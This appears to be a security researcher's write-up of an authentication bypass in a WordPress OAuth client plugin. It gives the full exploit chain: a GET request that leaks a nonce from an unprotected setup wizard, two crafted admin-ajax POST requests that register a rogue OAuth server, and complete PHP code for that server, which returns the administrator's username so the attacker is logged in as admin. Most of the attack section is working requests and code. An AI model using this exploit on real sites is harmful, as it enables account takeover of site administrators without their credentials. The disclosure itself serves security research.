The plugin was affected by an Auth Bypass security vulnerability. To bypass authentication, we only need to know the user’s username. Depending on whose username we know, which can be easily queried because it is usually public data, we may even be given an administrative role on the client’s website.

Note: The plugin was affected by Broken Access Control vulnerability too. There are a lot of vulnerabilities and bugs in the code. But the analysis only deals with Auth Bypass because it is the most serious vulnerability.

Note: To exploit the vulnerability, we need to log in with a user with any role.

 

Let’s check the plugin

The MOOAuth_Wizard_Ajax class add the following action hook:

add_action( 'wp_ajax_mo_outh_ajax', array( $this, 'mo_oauth_ajax' ) );

The mo_oauth_ajax() function includes the following request handling:

$this->verify_nonce();

switch ( sanitize_text_field( $_POST['mo_oauth_option'] ) ) {
	case 'save_app':
		$this->save_app();
		break;		
	case 'test_finish':
		$this->test_finish();
		break;
}

This appears to be nonce protected, but as we’ll see later, this can be bypassed.

The save_app() contains the following code:

$appslist[ $app['mo_oauth_app_name'] ] = $newapp;
update_option( 'mo_oauth_apps_list', $appslist );

So this adds and saves a new app, which in our case will be an oauth server. There is no capability check in the code.

 

Let’s see how we can exploit this vulnerability

The ajax function is nonce protected, so we could only access the ajax function using the token. However, the Setup Wizard page, where the nonce is located, also has broken access controls.

We only need to send a GET request to get the nonce token.

The HTTP request to the http://localhost/ which is a test WordPress website:

GET /wp-admin/admin.php?option=mo_oauth_client_setup_wizard HTTP/1.1
Host: localhost

and we search for the following field:

<input type="hidden" name="nonce" id="nonce" value="a583ca916b">

 

After that, we only need to send two POST requests to exploit this vulnerability.

The first HTTP request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

action=mo_outh_ajax&mo_oauth_option=save_app&mo_oauth_appId=other&mo_oauth_nonce=a583ca916b&mo_oauth_client_id=-&mo_oauth_client_secret=-&mo_oauth_app_name=other&mo_oauth_type=oauth&mo_oauth_input=username_attr%20authorizeurl%20accesstokenurl%20resourceownerdetailsurl&mo_oauth_authorizeurl=http%3A%2F%2Flocalhost%2Foauth-exploit.php%3Fauth%3D1&mo_oauth_accesstokenurl=http%3A%2F%2Flocalhost%2Foauth-exploit.php%3Ftoken%3D1&mo_oauth_resourceownerdetailsurl=http%3A%2F%2Flocalhost%2Foauth-exploit.php%3Fresource%3D1&mo_oauth_username_attr=user_login&mo_oauth_send_body=true

We use these values:

action (request action in WordPress): mo_outh_ajax
mo_oauth_option: save_app
mo_oauth_nonce: a583ca916b (which is the value found in the input)
mo_oauth_client_id: - (which can be anything, just don’t be empty)
mo_oauth_client_secret: - (which can be anything, just don’t be empty)
mo_oauth_app_name: other
mo_oauth_type: oauth
mo_oauth_input: username_attr authorizeurl accesstokenurl resourceownerdetailsurl
mo_oauth_authorizeurl: http://localhost/oauth-exploit.php?auth=1 (auth endpoint)
mo_oauth_accesstokenurl: http://localhost/oauth-exploit.php?token=1 (token endpoint)
mo_oauth_resourceownerdetailsurl: http://localhost/oauth-exploit.php?resource=1 (resource endpoint)
mo_oauth_username_attr: user_login (for attribute mapping)
mo_oauth_send_body: true (enable)

This request saves the client app to the database.

The second HTTP request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

action=mo_outh_ajax&mo_oauth_option=test_finish&mo_oauth_nonce=a583ca916b

We use these values:

action (request action in WordPress): mo_outh_ajax
mo_oauth_option: test_finish
mo_oauth_nonce: a583ca916b (which is the value found in the input)

This request completes the wizard. Because it deletes the mo_oauth_setup_wizard_app option.

 

The exploit script

We have to create an exploit OAuth server, this can be implemented with a few lines of PHP code:

/** auth endpoint */
if ( isset( $_GET['auth'] ) ) {
	if ( isset( $_GET['response_type'] ) ) {
		if ( 'code' == $_GET['response_type'] ) {
			header( 'Location: ' . $_GET['redirect_uri'] . '/?' . http_build_query( array(
					'code' => '-', //can be anything, just don’t be empty
				) ) );
			exit;
		}
	}
}

/** token endpoint */
if ( isset( $_GET['token'] ) ) {
	if ( isset( $_POST['grant_type'] ) ) {
		echo json_encode( array(
			'access_token' => '-', //can be anything, just don’t be empty
		) );
		exit;
	}
}

/** resource endpoint */
if ( isset( $_GET['resource'] ) ) {
	echo json_encode( array(
		'user_login' => 'admin',
	) );
	exit;
}

Add the administrator’s username to the user_login field at resource endpoint.

Upload it to our localhost server as oauth-exploit.php file.

 

Try it

Then, if we click on the Login with Other button at the WordPress login, the OAuth client connects to our exploit OAuth server, which returns the admin’s username, and then WordPress authenticates and logs us in.

Unfortunately, I can’t provide a demo for this plugin because it has so many vulnerabilities and bugs that it wouldn’t be too difficult to sandbox it.